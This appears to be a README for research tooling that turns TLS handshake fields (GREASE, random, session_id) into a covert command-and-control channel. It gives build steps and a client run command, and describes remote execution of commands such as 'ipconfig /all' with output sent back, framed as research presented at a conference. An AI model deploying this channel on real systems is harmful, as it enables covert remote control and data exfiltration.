The OpenSSL_1_1_1-stable-research-exfil branch was patched to allow a client to exfil data via GREASE (RFC 8701), random and session_id in clientHello.
client.c added to branch.
The openssl-3.5-research branch was patched to allow a server to send commands to a client via random in serverHello.
server.c added to branch.
WHAT
A client linked with 1.1.1 and a server linked with 3.5 can communicate via the CH-SH.
A low throughput, noisy, conspicuous TLS C2 channel is achieved.
This was developed for research purposes only.
I do not condone its usage in any environments where you do not have explicit permission to operate.
HOW
Windows client
- Compile openssl 1.1.1
> cd C:\openssl-1.1.1-source
> perl Configure VC-WIN64A no-shared --prefix=C:/openssl-grease --openssldir=C:/openssl-grease/ssl
> nmake clean
> nmake
> nmake install
- Compile client.c and link with openssl 1.1.1
> cl client.c /I C:\openssl-grease\include /link /LIBPATH:C:\openssl-grease\lib - Run client
> client.exe <server_ip> 8787 -g -r -s*nix server - Compile openssl 3.5-dev
$ cd openssl-3.5-source/
$ ./config --prefix=/opt/openssl-3.5 --openssldir=/opt/openssl-3.5
# make clean -j$(nproc)
# make -j$(nproc)
# make install -j$(nproc)
- Compile server.c and link with openssl 3.5-dev
$ gcc server.c -o server -I /opt/openssl-3.5/include/ -I /home/openssl-3.5-source/include/ -L /opt/openssl-3.5/lib64/ -lssl -lcrypto -pthread - Run server
$ ./server - Send a command to the server after the prompt
[+] enter a less than 32 bytes server_random:
ipconfig /all - The client will receive the command, execute and send back the output to the server stdout and to a file
- If no commands are sent by the server, the client will check in every 9s.
Blogpost: https://medium.com/@haarlems/tls-protocol-manipulation-a-very-low-throughput-c2-channel-24ac04bc6472
This was presented at DefCamp 2025.
Slides: https://github.com/haarlems/tls-slides